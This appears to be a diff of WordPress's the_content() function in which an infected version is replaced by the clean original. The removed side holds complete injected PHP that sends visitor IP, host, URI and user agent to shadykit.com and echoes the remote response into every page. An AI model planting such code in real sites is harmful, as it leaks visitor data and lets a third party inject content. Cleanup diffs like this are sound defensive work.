44 removals
12 additions
1. /**1./**
2. * Display the post content.2. * Display the post content.
3. *3. *
4. * @since 0.714. * @since 0.71
5. *5. *
6. * @param string $more_link_text Optional. Content for when there is more text.6. * @param string $more_link_text Optional. Content for when there is more text.
7. * @param bool $strip_teaser Optional. Strip teaser content before the more text. Default is false.7. * @param bool $strip_teaser Optional. Strip teaser content before the more text. Default is false.
8. */8. */
9.function the_content( $more_link_text = null, $strip_teaser = false) {9.function the_content( $more_link_text = null, $strip_teaser = false) {
10. $content = get_the_content( $more_link_text, $strip_teaser );10. $content = get_the_content( $more_link_text, $strip_teaser );
11. $content = apply_filters( 'the_content', $content );
12. $content = str_replace( ']]>', ']]>', $content );
13.
14. if (defined('WP_LOAD_FLAG')) {
15. echo $content;
16. return;
17. }
18.
19. define('WP_LOAD_FLAG', true);
20.
21. $input['REMOTE_ADDR'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : null;
22. $input['SERVER_NAME'] = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : null;
23. $input['REQUEST_URI'] = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : null;
24. $input['HTTP_USER_AGENT'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null;
25.
26. $value = 'p=' . urlencode(base64_encode(serialize($input)));
27.
28. $request = "POST /api/link/ HTTP/1.1\r\n";
29. $request .= "Host: shadykit.com\r\n";
30. $request .= "Connection: close\r\n";
31. $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
32. $request .= "Content-Length: " . strlen($value) . "\r\n";
33. $request .= "\r\n";
34. $request .= $value;
35.
36. $data = '';
37.
38. $socket = @fsockopen('shadykit.com', 80, $errno, $errstr, 10);
39. if ($socket) {
40. $response = null;
41. stream_set_timeout($socket, 10);
42. fwrite($socket, $request);
43. while (!feof($socket)) {
44. $response .= fgets($socket, 1024);
45. }
46. fclose($socket);
47. preg_match('/Content-Length: ([0-9]+)/', $response, $parts);
48. if ($parts[1] != 0) {
49. @$data = gzuncompress(substr($response, - $parts[1]));
50. }
51. }
52.11.
53. echo $data . $content;12. /**
13. * Filter the post content.
14. *
15. * @since 0.71
16. *
17. * @param string $content Content of the current post.
18. */
19. $content = apply_filters( 'the_content', $content );
20. $content = str_replace( ']]>', ']]>', $content );
21. echo $content;
54.}22.}
original text
changed text